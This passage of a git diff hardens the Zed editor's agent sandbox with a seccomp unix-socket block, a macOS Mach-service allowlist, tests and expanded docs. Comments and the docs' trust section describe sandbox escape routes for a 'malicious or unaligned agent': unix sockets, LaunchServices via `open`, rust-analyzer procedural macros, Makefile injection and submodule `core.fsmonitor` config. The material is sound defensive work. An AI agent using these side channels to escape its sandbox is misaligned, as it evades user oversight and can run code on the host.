+    command.args(program_args);
+    // SAFETY: the closure runs in the forked child after `fork` and before
+    // `exec`. It only calls `seccompiler::apply_filter` (a `prctl` on a program
+    // built before the fork) — async-signal-safe and allocation-free.
+    unsafe {
+        command.pre_exec(move || {
+            if let Some(program) = &seccomp_program {
+                seccompiler::apply_filter(program)
+                    .map_err(|error| std::io::Error::other(format!("seccomp: {error}")))?;
+            }
+            Ok(())
+        });
+    }
+    let mut child = match command.spawn() {
         Ok(child) => child,
         Err(error) => {
             eprintln!("zed: failed to spawn sandboxed command: {error}");
@@ -1134,29 +1281,42 @@ fn run_wsl_helper(invocation: WslHelperInvocation) -> ! {
     };
 
     let mut args = invocation.base_args.clone();
+    // Always re-exec ourselves as the in-sandbox launcher, even when there is
+    // nothing to validate: the launcher is where the seccomp filter is installed
+    // on the untrusted command (see `exec_command`). When there are writable
+    // binds, also bind the validation socket so the launcher can verify them.
+    // WSL has no restricted-network bridge, so both bridge fields are the absent
+    // sentinel.
     if let Some(sender) = &validation {
-        // Bind the validation socket in (after the base args' tmpfs and writable
-        // binds so it isn't shadowed), then re-exec ourselves inside the sandbox
-        // as the validator before the real command. WSL has no restricted-network
-        // bridge, so both bridge fields are the absent sentinel.
+        // Bind the validation socket in, after the base args' tmpfs and writable
+        // binds so it isn't shadowed.
         args.push(OsString::from("--bind"));
         args.push(sender.host_socket_path().as_os_str().to_os_string());
         args.push(sender.sandbox_socket_path().as_os_str().to_os_string());
-        args.push(OsString::from("--"));
-        args.push(current_exe.into_os_string());
-        args.push(OsString::from(LAUNCHER_FLAG));
-        args.push(sender.sandbox_socket_path().as_os_str().to_os_string());
-        args.push(OsString::from(LAUNCHER_NONE));
-        args.push(OsString::from(LAUNCHER_NONE));
-        args.push(OsString::from(invocation.writable_paths.len().to_string()));
-        for path in &invocation.writable_paths {
-            args.push(path.clone().into_os_string());
-        }
-        args.push(OsString::from("--"));
+    }
+    args.push(OsString::from("--"));
+    args.push(current_exe.into_os_string());
+    args.push(OsString::from(LAUNCHER_FLAG));
+    // Field 1: validation socket (in-sandbox path) or sentinel.
+    match &validation {
+        Some(sender) => args.push(sender.sandbox_socket_path().as_os_str().to_os_string()),
+        None => args.push(OsString::from(LAUNCHER_NONE)),
+    }
+    // Fields 2-3: bridge socket + port (WSL has no bridge).
+    args.push(OsString::from(LAUNCHER_NONE));
+    args.push(OsString::from(LAUNCHER_NONE));
+    // Field 4: writable bind-destination paths to validate (count, then paths);
+    // empty when there is nothing to validate.
+    let validation_paths: &[PathBuf] = if validation.is_some() {
+        &invocation.writable_paths
     } else {
-        // Nothing to validate — run the command directly under bwrap.
-        args.push(OsString::from("--"));
+        &[]
+    };
+    args.push(OsString::from(validation_paths.len().to_string()));
+    for path in validation_paths {
+        args.push(path.clone().into_os_string());
     }
+    args.push(OsString::from("--"));
     args.push(invocation.program.clone());
     args.extend(invocation.args.iter().cloned());
 
@@ -1664,4 +1824,100 @@ mod tests {
             "unexpected error: {error:#}"
         );
     }
+
+    // The filter compiles to a non-empty BPF program on architectures
+    // seccompiler can target (the ones we ship). On others it's `None`, which is
+    // acceptable — no filter is installed there.
+    #[test]
+    fn test_command_seccomp_program_builds() {
+        let program = build_command_seccomp_program().expect("build seccomp program");
+        if let Some(program) = program {
+            assert!(!program.is_empty(), "seccomp program must not be empty");
+        }
+    }
+
+    // Actually enforce the filter: in a child process, apply it and confirm that
+    // `socket(AF_UNIX)` is denied while `socket(AF_INET)` and
+    // `socketpair(AF_UNIX)` still work — the exact guarantee that closes the
+    // unix-socket sandbox escape.
+    #[test]
+    fn test_command_seccomp_filter_blocks_unix_but_allows_ip() {
+        // Build in the parent (this allocates); the child only applies the
+        // prebuilt program and makes raw syscalls.
+        let Some(program) = build_command_seccomp_program().expect("build seccomp program") else {
+            return; // unsupported arch: nothing to enforce
+        };
+
+        // SAFETY: after `fork`, the child calls only async-signal-safe
+        // libc/`prctl` (via `apply_filter` on a program built before the fork)
+        // and `_exit`; it never returns to Rust or allocates.
+        let pid = unsafe { libc::fork() };
+        assert!(pid >= 0, "fork failed");
+        if pid == 0 {
+            if seccompiler::apply_filter(&program).is_err() {
+                unsafe { libc::_exit(10) };
+            }
+            // AF_UNIX socket creation must be denied.
+            if unsafe { libc::socket(libc::AF_UNIX, libc::SOCK_STREAM, 0) } >= 0 {
+                unsafe { libc::_exit(11) };
+            }
+            // AF_INET socket creation must still work.
+            let inet = unsafe { libc::socket(libc::AF_INET, libc::SOCK_STREAM, 0) };
+            if inet < 0 {
+                unsafe { libc::_exit(12) };
+            }
+            // AF_UNIX socketpair (process-local) must still work.
+            let mut fds = [0i32; 2];
+            if unsafe { libc::socketpair(libc::AF_UNIX, libc::SOCK_STREAM, 0, fds.as_mut_ptr()) }
+                != 0
+            {
+                unsafe { libc::_exit(13) };
+            }
+            unsafe { libc::_exit(0) };
+        }
+
+        let mut status = 0i32;
+        let waited = unsafe { libc::waitpid(pid, &mut status, 0) };
+        assert_eq!(waited, pid, "waitpid failed");
+        assert!(
+            libc::WIFEXITED(status),
+            "child did not exit normally: {status:#x}"
+        );
+        let code = libc::WEXITSTATUS(status);
+        assert_eq!(
+            code, 0,
+            "child reported a seccomp mismatch (exit {code}): 10=apply failed, \
+             11=AF_UNIX allowed, 12=AF_INET blocked, 13=socketpair blocked"
+        );
+    }
+
+    // A requested writable path that can't be created (here, under an existing
+    // file, so `create_dir_all` errors and the path never exists) must fail the
+    // whole invocation — not run the command with silently less write access
+    // than the agent asked for. This check runs before `resolve_bwrap`, so the
+    // test needs no real `bwrap`.
+    #[test]
+    fn test_wrap_invocation_fails_when_writable_path_cannot_be_provided() {
+        let file = tempfile::NamedTempFile::new().unwrap();
+        let unbindable = file.path().join("subdir");
+        let result = wrap_invocation(
+            "/proc/self/exe",
+            SandboxPermissions {
+                network: NetworkAccess::None,
+                allow_fs_write: false,
+            },
+            &[unbindable.as_path()],
+            &[],
+            None,
+            "/bin/true",
+            &[],
+            None,
+            None,
+        );
+        let error = result.expect_err("must fail closed when a writable path can't be provided");
+        assert!(
+            error.to_string().contains("writable sandbox path"),
+            "unexpected error: {error:#}"
+        );
+    }
 }
diff --git a/crates/sandbox/src/macos_seatbelt.rs b/crates/sandbox/src/macos_seatbelt.rs
index 17a2db9928ed5c..a62803a84f59ec 100644
--- a/crates/sandbox/src/macos_seatbelt.rs
+++ b/crates/sandbox/src/macos_seatbelt.rs
@@ -243,8 +243,44 @@ fn generate_seatbelt_config(
 ; Allow sysctl reads (needed for many system calls)
 (allow sysctl-read)
 
-; Allow mach lookups (needed for IPC)
-(allow mach-lookup)
+; Mach service lookups. This is an ALLOWLIST, not a blanket `(allow mach-lookup)`.
+; An unrestricted mach-lookup lets a sandboxed command reach LaunchServices /
+; launchd and have a process spawned *outside* the sandbox (e.g. `open -a
+; Terminal`, or opening a crafted `.app`) — the launched process does not inherit
+; this profile, so that is a full sandbox escape. So we allow only the services
+; ordinary dev tooling needs and deliberately EXCLUDE the LaunchServices/launchd
+; endpoints (closing that escape), the pasteboard (silent clipboard theft), and
+; audio (mic/privacy). Curated from Codex's and Chromium's Seatbelt policies; add
+; an entry here (with a comment) if a legitimate toolchain needs another service.
+; A non-existent name is simply never matched, so erring toward including
+; plausible infrastructure services is safe.
+(allow mach-lookup
+    ; identity: user & group resolution (getpwuid, id, whoami, perm checks)
+    (global-name "com.apple.system.opendirectoryd.libinfo")
+    (global-name "com.apple.system.opendirectoryd.membership")
+    (global-name "com.apple.system.DirectoryService.libinfo_v1")
+    ; per-user temp/cache dir resolution ($TMPDIR, /var/folders/...)
+    (global-name "com.apple.bsd.dirhelper")
+    ; CFPreferences (pervasive in Apple frameworks linked by dev tools).
+    ; Chromium denies cfprefsd.daemon to force in-process prefs; we follow Codex
+    ; and allow it since dev commands legitimately use many prefs domains — it's
+    ; a prefs read/write, not an escape.
+    (global-name "com.apple.cfprefsd.daemon")
+    (global-name "com.apple.cfprefsd.agent")
+    (local-name "com.apple.cfprefsd.agent")
+    ; logging / diagnostics (os_log, ASL, Darwin notifications)
+    (global-name "com.apple.logd")
+    (global-name "com.apple.logd.events")
+    (global-name "com.apple.system.logger")
+    (global-name "com.apple.diagnosticd")
+    (global-name "com.apple.system.notification_center")
+    ; Apple telemetry (data goes to Apple only; harmless, avoids init latency)
+    (global-name "com.apple.analyticsd")
+    (global-name "com.apple.analyticsd.messagetracer")
+    ; power assertions (caffeinate / prevent idle sleep during long builds)
+    (global-name "com.apple.PowerManagement.control")
+    ; developer-tools automation-mode flag (our workload is dev tooling)
+    (global-name "com.apple.dt.automationmode.reader"))
 
 ; Allow pseudo-terminal operations
 (allow pseudo-tty)
@@ -345,6 +381,33 @@ fn generate_seatbelt_config(
         }
     }
 
+    // When outbound network is permitted at all, tools that do their own DNS
+    // resolution, TLS trust evaluation, and network-configuration lookups need a
+    // few more Mach services. Kept out of the base allowlist so a no-network
+    // command can't reach them. Still an allowlist (mirrors Codex's Seatbelt
+    // network policy) that excludes LaunchServices/launchd.
+    if !matches!(permissions.network, NetworkAccess::None) {
+        config.push_str(
+            r#"
+; Extra Mach services for DNS / TLS-trust / network configuration, needed only
+; when outbound network is permitted. Still an allowlist that excludes
+; LaunchServices/launchd. If hostname resolution fails, add
+; `com.apple.mDNSResponder`; if offline code-signature verification of loaded
+; dylibs/plugins fails, move the trust services into the base block above.
+(allow mach-lookup
+    ; network / DNS configuration
+    (global-name "com.apple.SystemConfiguration.configd")
+    (global-name "com.apple.SystemConfiguration.DNSConfiguration")
+    (global-name "com.apple.networkd")
+    ; TLS certificate trust / keychain / revocation
+    (global-name "com.apple.SecurityServer")
+    (global-name "com.apple.trustd")
+    (global-name "com.apple.trustd.agent")
+    (global-name "com.apple.ocspd"))
+"#,
+        );
+    }
+
     if !allowed_unix_socket_paths.is_empty() {
         config.push_str(
             r#"
@@ -396,6 +459,19 @@ mod tests {
     use super::*;
     use std::path::PathBuf;
 
+    /// Strip SBPL comment lines (`;`-prefixed) from a generated Seatbelt profile
+    /// so assertions match on the actual rules rather than on documentation.
+    /// Several comments legitimately mention rule syntax (for example the
+    /// blanket `(allow mach-lookup)` form they explain we avoid), which would
+    /// otherwise cause a naive substring check to spuriously match.
+    fn seatbelt_rules_only(config: &str) -> String {
+        config
+            .lines()
+            .filter(|line| !line.trim_start().starts_with(';'))
+            .collect::<Vec<_>>()
+            .join("\n")
+    }
+
     #[test]
     fn test_generate_seatbelt_config_contains_read_and_project_write_permissions_by_default() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
@@ -443,6 +519,57 @@ mod tests {
         assert!(config.contains("^/dev/ttys[0-9]+"));
     }
 
+    #[test]
+    fn test_generate_seatbelt_config_scopes_mach_lookup_and_excludes_escape_services() {
+        let dir = PathBuf::from("/Users/test/projects/myproject");
+        let config =
+            generate_seatbelt_config(&[dir.as_path()], &[], &[], SandboxPermissions::default())
+                .unwrap();
+        // Assert on the rules only: the mach-lookup comment intentionally spells
+        // out the blanket `(allow mach-lookup)` form it avoids, which a raw
+        // `config.contains` would match.
+        let rules = seatbelt_rules_only(&config);
+
+        // A scoped allowlist, never the blanket form — a blanket `(allow
+        // mach-lookup)` would let a command reach LaunchServices/launchd and
+        // escape the sandbox via `open`.
+        assert!(rules.contains("(allow mach-lookup"));
+        assert!(!rules.contains("(allow mach-lookup)"));
+        assert!(rules.contains("com.apple.cfprefsd.daemon"));
+
+        // The escape/abuse endpoints must fall through to `(deny default)`.
+        assert!(!rules.contains("launchservicesd"));
+        assert!(!rules.contains("com.apple.lsd"));
+        assert!(!rules.contains("com.apple.pasteboard"));
+
+        // Network-only services must not be granted without network.
+        assert!(!rules.contains("com.apple.SecurityServer"));
+        assert!(!rules.contains("com.apple.SystemConfiguration.configd"));
+    }
+
+    #[test]
+    fn test_generate_seatbelt_config_adds_network_mach_services_when_network_allowed() {
+        let dir = PathBuf::from("/Users/test/projects/myproject");
+        let config = generate_seatbelt_config(
+            &[dir.as_path()],
+            &[],
+            &[],
+            SandboxPermissions {
+                network: NetworkAccess::All,
+                allow_fs_write: false,
+            },
+        )
+        .unwrap();
+
+        // DNS / TLS / network-config services appear only when network is allowed.
+        assert!(config.contains("com.apple.SystemConfiguration.configd"));
+        assert!(config.contains("com.apple.SecurityServer"));
+        assert!(config.contains("com.apple.trustd"));
+        assert!(config.contains("com.apple.trustd.agent"));
+        // ...but never the escape endpoints.
+        assert!(!config.contains("launchservicesd"));
+    }
+
     #[test]
     fn test_generate_seatbelt_config_allows_unix_socket_paths_without_network() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 067a4c50c1a5fd..466ced18c05eb2 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -1487,6 +1487,184 @@ mod tests {
     }
 }
 
+/// A directory that is about to be granted as a sandbox write path but may not
+/// exist yet. Preparing one resolves the platform difference in how a
+/// not-yet-existing write grant is materialized, while keeping the same security
+/// property: the caller shows [`Self::canonical_path`] to the user and records
+/// *that* as the grant, so approval is always against the real, symlink-resolved
+/// target.
+///
+/// - **Linux/WSL**: bubblewrap can only bind an existing inode, so the missing
+///   directory (and any missing parents) is created **eagerly**, per component,
+///   and the leaf's inode is pinned to read back its canonical path. If the
+///   grant is denied, [`Self::discard`] removes exactly the directories that were
+///   created, deepest-first, following no symlinks (`rmdir` only removes empty
+///   dirs and never traverses a swapped-in symlink).
+/// - **macOS**: Seatbelt resolves paths at syscall time and can grant a missing
+///   path, so nothing is created here; the directory is materialized only after
+///   approval via [`Self::finalize`].
+///
+/// The eventual bind is still protected by the usual capture-and-revalidate path
+/// (`HostFilesystemLocation`), which re-pins the inode when the command runs.
+pub struct GrantableWriteDir {
+    canonical_path: PathBuf,
+    /// Directories created eagerly to pin the inode, shallowest-first. Empty on
+    /// platforms that defer creation to [`Self::finalize`].
+    eagerly_created: Vec<PathBuf>,
+}
+
+impl GrantableWriteDir {
+    /// Prepare `path` for use as a sandbox write grant. `path` must be absolute.
+    pub fn prepare(path: &Path) -> std::io::Result<Self> {
+        #[cfg(target_os = "linux")]
+        {
+            let mut eagerly_created = Vec::new();
+            if let Err(error) = create_missing_dirs(path, &mut eagerly_created) {
+                // Roll back any partial creation so a failure leaves no litter.
+                for dir in eagerly_created.iter().rev() {
+                    let _ = std::fs::remove_dir(dir);
+                }
+                return Err(error);
+            }
+            let canonical_path = pinned_canonical_path(path)?;
+            Ok(Self {
+                canonical_path,
+                eagerly_created,
+            })
+        }
+        #[cfg(target_os = "macos")]
+        {
+            Ok(Self {
+                canonical_path: canonicalize_allowing_missing_leaf(path),
+                eagerly_created: Vec::new(),
+            })
+        }
+        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
+        {
+            let _ = path;
+            Err(std::io::Error::new(
+                std::io::ErrorKind::Unsupported,
+                "granting a not-yet-existing write directory is not supported on this platform",
+            ))
+        }
+    }
+
+    /// The canonical, symlink-resolved path to show the user and record as the
+    /// grant.
+    pub fn canonical_path(&self) -> &Path {
+        &self.canonical_path
+    }
+
+    /// Materialize the directory once the grant is approved. A no-op on platforms
+    /// that already created it eagerly.
+    pub fn finalize(&self) -> std::io::Result<()> {
+        #[cfg(target_os = "macos")]
+        {
+            std::fs::create_dir_all(&self.canonical_path)?;
+        }
+        Ok(())
+    }
+
+    /// Remove exactly the directories we created (deepest-first) when the grant
+    /// is denied. Best-effort; `rmdir` leaves non-empty dirs and swapped-in
+    /// symlinks untouched.
+    pub fn discard(self) {
+        for dir in self.eagerly_created.iter().rev() {
+            let _ = std::fs::remove_dir(dir);
+        }
+    }
+}
+
+/// Create each missing component of `path` with `create_dir` (never
+/// `create_dir_all`), recording exactly the directories created so they can be
+/// removed again if the grant is denied. Components that already exist are left
+/// alone.
+#[cfg(target_os = "linux")]
+fn create_missing_dirs(path: &Path, created: &mut Vec<PathBuf>) -> std::io::Result<()> {
+    let mut cur = PathBuf::new();
+    for component in path.components() {
+        cur.push(component);
+        match std::fs::create_dir(&cur) {
+            Ok(()) => created.push(cur.clone()),
+            Err(error) if error.kind() == std::io::ErrorKind::AlreadyExists => {}
+            Err(error) => return Err(error),
+        }
+    }
+    Ok(())
+}
+
+/// Open an `O_PATH` handle to `path` and read back the canonical path of the
+/// inode it pins, so the value shown to the user reflects the real target even
+/// when a component is a symlink.
+#[cfg(target_os = "linux")]
+fn pinned_canonical_path(path: &Path) -> std::io::Result<PathBuf> {
+    use std::os::fd::AsRawFd as _;
+    use std::os::unix::fs::OpenOptionsExt as _;
+    let handle = std::fs::OpenOptions::new()
+        .read(true)
+        .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
+        .open(path)?;
+    std::fs::read_link(format!("/proc/self/fd/{}", handle.as_raw_fd()))
+}
+
+#[cfg(all(test, target_os = "linux"))]
+mod grantable_write_dir_tests {
+    use super::GrantableWriteDir;
+    use std::fs;
+
+    #[test]
+    fn creates_missing_dirs_and_discard_removes_only_those() {
+        let root = tempfile::tempdir().unwrap();
+        let existing = root.path().join("existing");
+        fs::create_dir(&existing).unwrap();
+        let target = existing.join("a").join("b").join("c");
+
+        let prepared = GrantableWriteDir::prepare(&target).unwrap();
+        assert!(target.is_dir());
+        assert_eq!(prepared.canonical_path(), target.canonicalize().unwrap());
+
+        prepared.discard();
+        // Everything we created is gone...
+        assert!(!existing.join("a").exists());
+        // ...but the pre-existing ancestor is untouched.
+        assert!(existing.is_dir());
+    }
+
+    #[test]
+    fn existing_dir_is_left_alone_and_not_removed_on_discard() {
+        let root = tempfile::tempdir().unwrap();
+        let target = root.path().join("already");
+        fs::create_dir(&target).unwrap();
+
+        let prepared = GrantableWriteDir::prepare(&target).unwrap();
+        assert!(target.is_dir());
+        // We created nothing, so discard removes nothing.
+        prepared.discard();
+        assert!(target.is_dir());
+    }
+
+    #[test]
+    fn canonical_path_resolves_a_symlinked_parent() {
+        let root = tempfile::tempdir().unwrap();
+        let real = root.path().join("real");
+        fs::create_dir(&real).unwrap();
+        let link = root.path().join("link");
+        std::os::unix::fs::symlink(&real, &link).unwrap();
+
+        // Granting `link/child` where `link` legitimately points at `real` must
+        // succeed and show the user the *resolved* `real/child`, not fail.
+        let prepared = GrantableWriteDir::prepare(&link.join("child")).unwrap();
+        assert_eq!(
+            prepared.canonical_path(),
+            real.canonicalize().unwrap().join("child")
+        );
+        assert!(real.join("child").is_dir());
+
+        prepared.discard();
+        assert!(!real.join("child").exists());
+    }
+}
+
 /// Canonicalize `path`, resolving symlinks, even when its final component
 /// doesn't exist yet.
 ///
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 0d27b3f9a84a96..460714c4622d6f 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -812,6 +812,14 @@ pub struct SandboxPermissionsContent {
     /// to without prompting. Paths written by Zed are absolute.
     /// Default: []
     pub write_paths: Option<ExtendingVec<PathBuf>>,
+
+    /// Whether to warn when a sandbox escalation prompt requests a domain or
+    /// write path that contains potentially confusable Unicode characters
+    /// (homoglyphs, invisible characters, or bidirectional overrides). When
+    /// enabled, such prompts show a warning that must be acknowledged before
+    /// the request can be allowed.
+    /// Default: true
+    pub warn_confusable_unicode: Option<bool>,
 }
 
 #[with_fallible_options]
diff --git a/crates/settings_ui/Cargo.toml b/crates/settings_ui/Cargo.toml
index b3a145c659887c..ecc19ef8ac5c4a 100644
--- a/crates/settings_ui/Cargo.toml
+++ b/crates/settings_ui/Cargo.toml
@@ -21,6 +21,7 @@ agent_settings.workspace = true
 agent_skills.workspace = true
 anyhow.workspace = true
 audio.workspace = true
+client.workspace = true
 cloud_api_types.workspace = true
 component.workspace = true
 codestral.workspace = true
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index da69fdd5761d16..533054f015f5f6 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -73,6 +73,25 @@ pub(crate) fn render_sandbox_settings_page(
             )
             .tab_index(0),
         )
+        .child({
+            let docs_url =
+                client::zed_urls::sandboxing_docs(Some("persistent-sandbox-permissions"), cx);
+            let tooltip = format!("Opens {docs_url}");
+            // Wrap in a row so the button shrinks to its content width instead
+            // of stretching across the settings page.
+            h_flex().child(
+                Button::new("sandbox-docs-link", "Learn more about sandboxing")
+                    .label_size(LabelSize::Small)
+                    .color(Color::Muted)
+                    .end_icon(
+                        Icon::new(IconName::ArrowUpRight)
+                            .color(Color::Muted)
+                            .size(IconSize::XSmall),
+                    )
+                    .tooltip(Tooltip::text(tooltip))
+                    .on_click(move |_, _, cx| cx.open_url(&docs_url)),
+            )
+        })
         .when(sandbox_enabled, |this| this
         .when_some(validation_error, |this, error| {
             this.child(
@@ -145,6 +164,27 @@ pub(crate) fn render_sandbox_settings_page(
                     empty_border,
                 )),
         )
+        .child(Divider::horizontal())
+        .child(
+            v_flex()
+                .gap_4()
+                .child(SettingsSectionHeader::new("Escalation Prompts").no_padding(true))
+                .child(
+                    SwitchField::new(
+                        "sandbox-warn-confusable-unicode",
+                        Some("Warn About Confusable Unicode"),
+                        Some(
+                            "Warn when an approval prompt requests a domain or write path that contains potentially confusable Unicode characters, such as homoglyphs (i.e. two symbols that look similar, such as a Cyrillic `а`)"
+                                .into(),
+                        ),
+                        permissions.warn_confusable_unicode,
+                        move |state, _window, cx| {
+                            set_warn_confusable_unicode(*state == ToggleState::Selected, cx);
+                        },
+                    )
+                    .tab_index(0),
+                ),
+        )
         )
         .into_any_element()
 }
@@ -418,6 +458,12 @@ fn set_allow_fs_write_all(value: bool, cx: &mut App) {
     });
 }
 
+fn set_warn_confusable_unicode(value: bool, cx: &mut App) {
+    update_sandbox_permissions(cx, move |permissions| {
+        permissions.warn_confusable_unicode = Some(value);
+    });
+}
+
 fn add_network_host(host: String, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         let hosts = &mut permissions.network_hosts.get_or_insert_default().0;
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
index 715e331da7fade..5603d3c307f1e1 100644
--- a/docs/src/ai/sandboxing.md
+++ b/docs/src/ai/sandboxing.md
@@ -9,9 +9,11 @@ You can restrict what operations the [Zed Agent](./zed-agent.md) can run in mult
 [Tool Permissions](./tool-permissions.md), but these are of limited use when the agent wants to do things like run a
 complicated script in a terminal.
 
-Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access and network access, while
-protecting Git metadata such as `.git` directories. This way, even if the agent wants to run an arbitrary script, that
-script will only be able to write to the files and folders you have allowed it to.
+Sandboxing instead uses OS features to forcibly restrict which resources a tool
+call has access to. This does _not_ rely on an agent following a particular set
+of instructions. If the agent attempts to access a resource that is restricted
+by the sandbox, the OS will block it. See [How much can I trust the
+sandbox?](#trust) for more details.
 
 [Tool Permissions](./tool-permissions.md) can be used in addition to sandboxing:
 
@@ -23,27 +25,104 @@ terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./
 
 ## Sandboxed Tools {#sandboxed-tools}
 
-Zed Agent sandboxing currently applies to the `terminal` tool.
+Zed Agent sandboxing currently applies to the `terminal` and `fetch` tools.
 
 | Tool       | What sandboxing limits                                                                                |
 | ---------- | ----------------------------------------------------------------------------------------------------- |
 | `terminal` | Filesystem writes and outbound network access for commands the agent runs; Git metadata is protected. |
+| `fetch`    | Hosts which can be accessed.                                                                          |
 
-Other built-in tools, including `fetch`, are still governed by [Tool Permissions](./tool-permissions.md),
-[Agent Profiles](./agent-profiles.md), and project trust, but they are not currently run inside this OS sandbox.
+Tools are still governed by [Tool Permissions](./tool-permissions.md), [Agent
+Profiles](./agent-profiles.md), and project trust, but they are not currently
+run inside this OS sandbox.
+
+## Requirements {#requirements}
+
+Sandboxing is supported, in some form, on all platforms. In order to sandbox a
+`terminal` tool call, the following is required:
+
+- On Linux, a runnable, non-setuid `bwrap` binary must be on the `$PATH`. See [Installing Bubblewrap](#installing-bubblewrap).
+- On Windows, WSL must be available.
+
+There are no extra requirements on MacOS.
+
+The `fetch` tool has no extra requirements on any platform.
 
 ## Default Access {#default-access}
 
 By default, sandboxed Zed Agent tool actions have these restrictions:
 
-| Access type         | Default behavior                                                                                                                                                    |
-| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Filesystem reads    | Terminal commands can read most of the filesystem, including protected Git metadata.                                                                                |
-| Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.                                                                     |
-| Git metadata        | `.git` directories and linked worktree Git metadata remain readable but are not writable while sandboxed.                                                           |
-| Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.                                                                    |
-| Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.                                                             |
-| Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request. Host-specific enforcement is not available on every platform. |
+| Access type         | Default behavior                                                                                                                                                                       |
+| ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Filesystem reads    | Terminal commands can read most of the filesystem, including protected Git metadata.                                                                                                   |
+| Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.                                                                                        |
+| Git metadata        | `.git` directories and linked worktree Git metadata remain readable but are not writable while sandboxed.                                                                              |
+| Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.                                                                                       |
+| Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.                                                                                |
+| Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request. Host-specific enforcement is not available on every platform.                    |
+| Local IPC sockets   | Sandboxed commands cannot open Unix-domain sockets (for example, to the desktop session bus or a container daemon), which could otherwise be used to run commands outside the sandbox. |
+
+## How much can I trust the sandbox? {#trust}
+
+Enabling sandboxing dramatically reduces the risk of various kinds of attacks.
+However, it does not fully eliminate them.
+
+Firstly, sandboxing relies on OS-level features, which may contain bugs.
+Operating systems have historically had bugs in security features. And while we
+have tested thoroughly, there may also be bugs in Zed's implementation. These
+could allow privilege escalation - for example, allow an agent to write to a
+file that it should only have read access to.
+
+Sandboxing also only applies the restrictions that the user requested. If an
+agent requests write access to your home directory, sandboxing will (and
+should!) do nothing to prevent an agent adding a malicious key to `$HOME/.ssh`.
+
+Be careful with what you grant the agent. At any point in time, you can view the
+state of the sandbox by hovering the padlock icon in the top right of the
+thread. If an agent is requesting an overly broad permission, deny it, and ask
+it to use a smaller grant. When requesting elevated privileges, agents must
+provide a `reason`, which is displayed in the prompt. Read it, and decide
+whether it makes sense before approving.
+
+Also, sandboxing restricts **only** what the `terminal` and `fetch` tools in the
+Zed agent can do. It has **no effect** on other parts of Zed, including:
+
+- Language servers
+- The built-in git client
+- The regular terminal
+- And more...
+
+Even when sandboxing is enabled, you should remain vigilant. A malicious or
+unaligned agent may use these side channels to escalate privileges. For example:
+
+- An agent may add a malicious Rust procedural macro to your codebase, which
+  will be automatically executed by `rust-analyzer` **outside the sandbox**.
+- An agent may modify a `Makefile` to inject a malicious script, which is
+  executed **outside the sandbox** when you next run `make` in the built-in
+  terminal.
+- The agent cannot write to your repository's protected `.git` directory, but it
+  can create a submodule under your project whose Git metadata (including config
+  such as `core.fsmonitor`) it fully controls. That metadata may then be executed
+  **outside the sandbox** when you subsequently run Git commands in a regular
+  terminal. Your shell prompt may even execute Git commands every time it
+  renders!
+
+There are steps you can take to mitigate these issues. For example:
+
+- disable language servers that execute user-defined code from the project (such
+  as Rust procedural macros).
+- use a shell prompt that reports Git status without executing
+  repository-defined programs.
+- review the diff before running `git commit`
+
+But none of this changes the fundamental principle: **a sandbox is not a
+substitute for good security practices**. It is one layer in a defense-in-depth
+strategy.
+
+Zed's default profile aims to strike a balance between security and convenience,
+but we encourage you to tune your settings based on your own security
+requirements and risk profile. A disabled sandbox is not a very effective
+sandbox.
 
 ## Approval Prompts {#approval-prompts}
 
@@ -88,7 +167,7 @@ The available options are:
 | `allow_all_hosts`    | Allow sandboxed tools to reach any host without prompting.                                                        |
 | `write_paths`        | Directory subtrees that sandboxed terminal commands may write to without prompting. Paths are absolute.           |
 | `allow_fs_write_all` | Allow sandboxed terminal commands to write anywhere except protected Git metadata without prompting.              |
-| `allow_unsandboxed`  | Allow terminal commands to run outside the sandbox without prompting when the agent explicitly requests it.       |
+| `allow_unsandboxed`  | Turn sandboxing off entirely for Zed Agent terminal commands. The fetch tool will have no restrictions.           |
 
 Prefer narrow grants, such as a specific host or write path, over `allow_all_hosts`, `allow_fs_write_all`, or
 `allow_unsandboxed`.
@@ -99,10 +178,6 @@ Git metadata writes are not grantable while a terminal command is sandboxed. Thi
 linked worktree metadata, refs, the index, hooks, local Git config, and other Git-controlled metadata files. Approving a
 specific writable path or `allow_fs_write_all` does not make Git metadata writable.
 
-When a Git command genuinely needs to update Git metadata, such as `git commit`, `git fetch`, `git checkout`, or `git
-rebase`, approve unsandboxed execution instead. For read-only operations, prefer Git flags that avoid optional metadata
-writes when possible. For example, use `git --no-optional-locks status` instead of `git status`.
-
 ## Platform Support {#platform-support}
 
 Sandboxing uses different operating system mechanisms on each platform. The user-facing prompts are similar, but the
@@ -121,6 +196,7 @@ Sandboxed terminal commands:
 - cannot write protected Git metadata, even if you approve broader write access
 - cannot write elsewhere unless you approve additional paths or broader write access
 - cannot reach the network unless you approve network access
+- can reach only an allowlist of macOS system (Mach) services that developer tooling needs; services that could be abused to escape the sandbox (LaunchServices and launchd, which can launch processes outside it), read the clipboard (the pasteboard), or capture audio are not reachable
 
 When network access is approved on macOS, Zed uses an HTTP/HTTPS proxy so access can be limited to approved hosts.
